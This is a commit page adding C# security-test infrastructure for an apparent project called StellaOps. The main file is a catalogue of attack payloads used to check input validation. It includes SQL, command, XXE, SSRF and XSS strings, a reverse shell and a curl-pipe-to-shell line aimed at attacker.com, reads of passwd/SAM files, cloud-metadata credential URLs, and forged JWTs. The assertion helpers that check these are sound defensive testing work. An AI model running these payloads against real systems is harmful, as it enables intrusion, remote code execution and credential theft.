Add comprehensive security tests for OWASP A03 (Injection) and A10 (SSRF)
- Implemented InjectionTests.cs to cover various injection vulnerabilities including SQL, NoSQL, Command, LDAP, and XPath injections. - Created SsrfTests.cs to test for Server-Side Request Forgery (SSRF) vulnerabilities, including internal URL access, cloud metadata access, and URL allowlist bypass attempts. - Introduced MaliciousPayloads.cs to store a collection of malicious payloads for testing various security vulnerabilities. - Added SecurityAssertions.cs for common security-specific assertion helpers. - Established SecurityTestBase.cs as a base class for security tests, providing common infrastructure and mocking utilities. - Configured the test project StellaOps.Security.Tests.csproj with necessary dependencies for testing.
This commit is contained in:
master
@@ -0,0 +1,248 @@
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// =============================================================================
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// MaliciousPayloads.cs
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// Collection of malicious payloads for security testing
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// Reference: OWASP Testing Guide, PayloadsAllTheThings
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// =============================================================================
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namespace StellaOps.Security.Tests.Infrastructure;
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/// <summary>
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/// Malicious payloads for testing input validation and injection vulnerabilities.
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/// Organized by attack category for use in security tests.
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/// </summary>
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public static class MaliciousPayloads
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{
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/// <summary>
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/// SQL injection payloads for testing database query handling.
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/// </summary>
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public static class SqlInjection
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{
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public static readonly string[] Common =
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[
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"' OR '1'='1",
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"'; DROP TABLE users; --",
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"1' OR '1'='1' /*",
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"admin'--",
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"1; SELECT * FROM users",
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"' UNION SELECT * FROM users --",
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"1' AND '1'='1",
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"'; WAITFOR DELAY '0:0:5' --",
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"' OR 1=1 --",
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"'; EXEC xp_cmdshell('whoami'); --"
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];
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public static readonly string[] Blind =
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[
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"1' AND SLEEP(5) --",
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"1' AND (SELECT COUNT(*) FROM users) > 0 --",
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"' OR IF(1=1, SLEEP(5), 0) --",
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"1; IF(1=1) WAITFOR DELAY '0:0:5' --"
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];
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public static readonly string[] NoSql =
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[
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"{ \"$gt\": \"\" }",
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"{ \"$where\": \"this.password.length > 0\" }",
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"{ \"$regex\": \".*\" }",
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"'; return true; var x='",
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"{ \"$ne\": null }"
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];
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}
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/// <summary>
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/// Command injection payloads for testing shell command handling.
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/// </summary>
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public static class CommandInjection
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{
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public static readonly string[] Unix =
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[
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"; cat /etc/passwd",
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"| ls -la",
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"`whoami`",
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"$(id)",
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"; nc -e /bin/sh attacker.com 4444",
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"& ping -c 5 attacker.com",
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"|| touch /tmp/pwned",
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"; curl http://attacker.com/shell.sh | sh"
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];
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public static readonly string[] Windows =
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[
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"& dir",
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"| type C:\\Windows\\System32\\config\\SAM",
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"; net user",
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"& whoami",
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"| powershell -c \"Invoke-WebRequest -Uri http://attacker.com\"",
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"; cmd /c dir"
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];
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public static readonly string[] Generic =
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[
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";",
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"|",
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"&",
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"&&",
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"||",
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"\n",
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"\r\n",
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"`",
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"$(",
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"#{",
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"%0a"
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];
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}
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/// <summary>
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/// Path traversal payloads for testing file system access.
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/// </summary>
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public static class PathTraversal
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{
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public static readonly string[] Common =
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[
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"../../../etc/passwd",
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"..\\..\\..\\Windows\\System32\\config\\SAM",
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"....//....//....//etc/passwd",
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"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
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"..%252f..%252f..%252fetc/passwd",
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"/etc/passwd%00.jpg",
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"....\\\\....\\\\....\\\\Windows\\System32\\drivers\\etc\\hosts"
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];
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public static readonly string[] Null =
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[
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"../../../etc/passwd%00",
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"..\\..\\..\\boot.ini%00",
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"%00../../../etc/passwd"
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];
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}
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/// <summary>
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/// XSS payloads for testing cross-site scripting vulnerabilities.
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/// </summary>
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public static class Xss
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{
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public static readonly string[] Script =
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[
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"<script>alert('XSS')</script>",
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"<img src=x onerror=alert('XSS')>",
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"<svg/onload=alert('XSS')>",
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"javascript:alert('XSS')",
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"<body onload=alert('XSS')>",
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"<iframe src=\"javascript:alert('XSS')\">",
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"'><script>alert('XSS')</script>",
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"\"><script>alert('XSS')</script>"
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];
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public static readonly string[] Encoded =
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[
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"%3Cscript%3Ealert('XSS')%3C/script%3E",
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"<script>alert('XSS')</script>",
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"\\u003cscript\\u003ealert('XSS')\\u003c/script\\u003e"
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];
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}
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/// <summary>
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/// SSRF payloads for testing server-side request forgery.
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/// </summary>
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public static class Ssrf
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{
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public static readonly string[] InternalUrls =
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[
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"http://127.0.0.1",
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"http://localhost",
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"http://0.0.0.0",
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"http://[::1]",
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"http://169.254.169.254/latest/meta-data/",
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"http://metadata.google.internal/",
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"http://192.168.1.1",
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"http://10.0.0.1",
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"file:///etc/passwd"
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];
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public static readonly string[] Bypass =
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[
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"http://127.0.0.1.nip.io",
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"http://0x7f000001",
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"http://2130706433",
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"http://0177.0.0.1",
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"http://127.1",
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"http://spoofed.burpcollaborator.net"
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];
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public static readonly string[] CloudMetadata =
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[
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"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
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"http://metadata.google.internal/computeMetadata/v1/",
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"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
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];
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}
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/// <summary>
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/// Header injection payloads for testing HTTP header handling.
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/// </summary>
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public static class HeaderInjection
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{
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public static readonly string[] Common =
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[
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"value\r\nX-Injected: header",
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"value%0d%0aX-Injected: header",
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"value\nSet-Cookie: malicious=true",
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"value\r\n\r\n<html>injected</html>"
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];
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}
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/// <summary>
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/// LDAP injection payloads for testing LDAP query handling.
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/// </summary>
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public static class LdapInjection
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{
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public static readonly string[] Common =
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[
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"*",
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"*)(&",
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"*)(uid=*))(|(uid=*",
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"admin)(&)",
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"x)(|(cn=*)"
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];
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}
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/// <summary>
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/// XML injection payloads (XXE) for testing XML parsing.
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/// </summary>
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public static class XxeInjection
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{
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public static readonly string[] Common =
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[
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"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>",
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"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://attacker.com/\">]><foo>&xxe;</foo>",
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"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://attacker.com/xxe.dtd\">%xxe;]>"
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];
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}
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/// <summary>
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/// Template injection payloads for testing template engines.
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/// </summary>
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public static class TemplateInjection
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{
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public static readonly string[] Common =
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[
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"{{7*7}}",
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"${7*7}",
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"<%= 7*7 %>",
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"#{7*7}",
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"*{7*7}",
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"@(7*7)",
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"{{constructor.constructor('return this')()}}"
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];
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}
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/// <summary>
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/// JWT-related attack payloads for testing token handling.
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/// </summary>
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public static class JwtAttacks
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{
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public const string NoneAlgorithm = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.";
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public const string EmptySignature = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.";
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public const string AlgorithmConfusion = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9"; // Would need key confusion attack
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}
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}
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@@ -0,0 +1,171 @@
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// =============================================================================
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// SecurityAssertions.cs
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// Security-specific assertion helpers for testing
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// =============================================================================
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using FluentAssertions;
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using System.Net;
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using System.Text.RegularExpressions;
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namespace StellaOps.Security.Tests.Infrastructure;
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/// <summary>
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/// Security-specific assertion methods for common security test patterns.
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/// </summary>
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public static partial class SecurityAssertions
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{
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/// <summary>
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/// Assert that a URL is safe (not an internal/metadata endpoint).
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/// </summary>
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public static void AssertUrlIsSafe(string url)
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{
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var uri = new Uri(url, UriKind.RelativeOrAbsolute);
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if (!uri.IsAbsoluteUri) return;
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// Check for localhost/loopback
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uri.Host.Should().NotBe("localhost", "URL should not point to localhost");
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uri.Host.Should().NotBe("127.0.0.1", "URL should not point to loopback");
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uri.Host.Should().NotBe("::1", "URL should not point to IPv6 loopback");
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uri.Host.Should().NotBe("0.0.0.0", "URL should not point to all interfaces");
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// Check for metadata endpoints
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uri.Host.Should().NotBe("169.254.169.254", "URL should not point to cloud metadata");
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uri.Host.Should().NotContain("metadata.google.internal", "URL should not point to GCP metadata");
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// Check for private IP ranges
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if (IPAddress.TryParse(uri.Host, out var ip))
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{
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IsPrivateIp(ip).Should().BeFalse("URL should not point to private IP addresses");
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}
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// Check for file:// scheme
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uri.Scheme.Should().NotBe("file", "URL should not use file:// scheme");
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}
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/// <summary>
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/// Assert that a path does not contain traversal sequences.
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/// </summary>
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public static void AssertNoPathTraversal(string path)
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{
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path.Should().NotContain("..", "Path should not contain traversal sequences");
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path.Should().NotContain("%2e%2e", "Path should not contain encoded traversal");
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path.Should().NotContain("%252e", "Path should not contain double-encoded traversal");
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path.Should().NotContain("\0", "Path should not contain null bytes");
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}
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/// <summary>
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/// Assert that content is properly escaped for HTML context.
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/// </summary>
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public static void AssertHtmlEscaped(string content, string originalInput)
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{
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if (originalInput.Contains('<'))
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{
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content.Should().NotContain("<script", "Content should have escaped script tags");
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content.Should().NotContain("<img", "Content should have escaped img tags");
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content.Should().NotContain("<svg", "Content should have escaped svg tags");
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}
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}
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/// <summary>
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/// Assert that a command string is safe from injection.
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/// </summary>
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public static void AssertCommandSafe(string command)
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{
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var dangerousChars = new[] { ";", "|", "&", "`", "$(" };
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foreach (var c in dangerousChars)
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{
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command.Should().NotContain(c, $"Command should not contain dangerous character: {c}");
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}
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}
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/// <summary>
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/// Assert that an HTTP response indicates proper authorization failure.
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/// </summary>
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public static void AssertProperAuthorizationDenial(HttpStatusCode statusCode)
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{
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statusCode.Should().BeOneOf(
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HttpStatusCode.Unauthorized,
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HttpStatusCode.Forbidden,
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"Response should properly deny unauthorized access");
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}
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/// <summary>
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/// Assert that no SQL injection was successful (result should not contain injected data).
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/// </summary>
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public static void AssertNoSqlInjectionSuccess(string response)
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{
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// Check for common signs that injection succeeded
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response.Should().NotMatchRegex(SqlPatternSuccess(),
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"Response should not indicate successful SQL injection");
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}
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/// <summary>
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/// Assert that cryptographic parameters meet minimum strength requirements.
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/// </summary>
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public static void AssertCryptographicStrength(int keyBits, string algorithm)
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{
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algorithm.ToUpperInvariant().Should().NotBe("MD5", "MD5 should not be used for security");
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algorithm.ToUpperInvariant().Should().NotBe("SHA1", "SHA1 should not be used for security");
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if (algorithm.Contains("RSA", StringComparison.OrdinalIgnoreCase))
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{
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keyBits.Should().BeGreaterOrEqualTo(2048, "RSA keys should be at least 2048 bits");
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}
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else if (algorithm.Contains("AES", StringComparison.OrdinalIgnoreCase))
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{
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keyBits.Should().BeGreaterOrEqualTo(128, "AES keys should be at least 128 bits");
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}
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}
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/// <summary>
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/// Assert that a JWT token has proper structure and is not tampered with.
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/// </summary>
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public static void AssertJwtNotTampered(string token)
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{
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var parts = token.Split('.');
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parts.Length.Should().Be(3, "JWT should have three parts");
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parts[2].Should().NotBeEmpty("JWT signature should not be empty");
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}
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/// <summary>
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/// Assert that headers do not contain injected values.
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/// </summary>
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public static void AssertNoHeaderInjection(IDictionary<string, string> headers)
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{
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foreach (var header in headers)
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{
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header.Key.Should().NotContain("\r", "Header name should not contain CR");
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header.Key.Should().NotContain("\n", "Header name should not contain LF");
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header.Value.Should().NotContain("\r\n", "Header value should not contain CRLF");
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}
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}
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/// <summary>
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/// Check if an IP address is in a private range.
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/// </summary>
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private static bool IsPrivateIp(IPAddress ip)
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{
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var bytes = ip.GetAddressBytes();
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// IPv4 private ranges
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if (bytes.Length == 4)
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{
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// 10.0.0.0/8
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if (bytes[0] == 10) return true;
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// 172.16.0.0/12
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if (bytes[0] == 172 && bytes[1] >= 16 && bytes[1] <= 31) return true;
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// 192.168.0.0/16
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if (bytes[0] == 192 && bytes[1] == 168) return true;
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// 127.0.0.0/8 (loopback)
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if (bytes[0] == 127) return true;
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// 169.254.0.0/16 (link-local)
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if (bytes[0] == 169 && bytes[1] == 254) return true;
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}
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return false;
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}
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[GeneratedRegex(@"(syntax error|mysql|postgresql|sqlite|ora-\d{5}|sql server)", RegexOptions.IgnoreCase)]
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private static partial Regex SqlPatternSuccess();
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}
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@@ -0,0 +1,128 @@
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// =============================================================================
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// SecurityTestBase.cs
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// Base class for all security tests providing common infrastructure
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// =============================================================================
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using FluentAssertions;
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using Microsoft.Extensions.Logging;
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using Moq;
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namespace StellaOps.Security.Tests.Infrastructure;
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/// <summary>
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/// Base class for OWASP-category security tests.
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/// Provides common test infrastructure, mocking utilities, and security assertions.
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/// </summary>
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[Trait("Category", "Security")]
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public abstract class SecurityTestBase : IDisposable
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{
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protected readonly Mock<ILogger> LoggerMock;
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protected readonly CancellationToken TestCancellation;
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private readonly CancellationTokenSource _cts;
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protected SecurityTestBase()
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{
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LoggerMock = new Mock<ILogger>();
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_cts = new CancellationTokenSource(TimeSpan.FromSeconds(30));
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TestCancellation = _cts.Token;
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}
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/// <summary>
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/// Assert that an action throws a security-related exception.
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/// </summary>
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protected static void AssertSecurityException<TException>(Action action, string? expectedMessage = null)
|
||||
where TException : Exception
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||||
{
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var exception = Assert.Throws<TException>(action);
|
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if (expectedMessage != null)
|
||||
{
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exception.Message.Should().Contain(expectedMessage);
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}
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}
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/// <summary>
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/// Assert that an async action throws a security-related exception.
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/// </summary>
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protected static async Task AssertSecurityExceptionAsync<TException>(Func<Task> action, string? expectedMessage = null)
|
||||
where TException : Exception
|
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{
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var exception = await Assert.ThrowsAsync<TException>(action);
|
||||
if (expectedMessage != null)
|
||||
{
|
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exception.Message.Should().Contain(expectedMessage);
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}
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||||
}
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||||
/// <summary>
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||||
/// Assert that the logger was called with a security warning.
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/// </summary>
|
||||
protected void AssertSecurityWarningLogged(string expectedMessage)
|
||||
{
|
||||
LoggerMock.Verify(
|
||||
x => x.Log(
|
||||
LogLevel.Warning,
|
||||
It.IsAny<EventId>(),
|
||||
It.Is<It.IsAnyType>((v, t) => v.ToString()!.Contains(expectedMessage)),
|
||||
It.IsAny<Exception?>(),
|
||||
It.IsAny<Func<It.IsAnyType, Exception?, string>>()),
|
||||
Times.AtLeastOnce);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Assert that no sensitive data is present in the response.
|
||||
/// </summary>
|
||||
protected static void AssertNoSensitiveDataLeakage(string content)
|
||||
{
|
||||
var sensitivePatterns = new[]
|
||||
{
|
||||
"password",
|
||||
"secret",
|
||||
"api_key",
|
||||
"apikey",
|
||||
"private_key",
|
||||
"token",
|
||||
"bearer",
|
||||
"authorization"
|
||||
};
|
||||
|
||||
foreach (var pattern in sensitivePatterns)
|
||||
{
|
||||
// Case-insensitive check for sensitive patterns in unexpected places
|
||||
content.ToLowerInvariant().Should().NotContain(pattern,
|
||||
$"Response should not contain sensitive data pattern: {pattern}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Generate a random tenant ID for isolation.
|
||||
/// </summary>
|
||||
protected static Guid GenerateTestTenantId() => Guid.NewGuid();
|
||||
|
||||
/// <summary>
|
||||
/// Generate a random user ID for isolation.
|
||||
/// </summary>
|
||||
protected static Guid GenerateTestUserId() => Guid.NewGuid();
|
||||
|
||||
public virtual void Dispose()
|
||||
{
|
||||
_cts.Cancel();
|
||||
_cts.Dispose();
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Trait for categorizing tests by OWASP category.
|
||||
/// </summary>
|
||||
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Method)]
|
||||
public class OwaspCategoryAttribute : Attribute
|
||||
{
|
||||
public string Category { get; }
|
||||
public string Description { get; }
|
||||
|
||||
public OwaspCategoryAttribute(string category, string description)
|
||||
{
|
||||
Category = category;
|
||||
Description = description;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user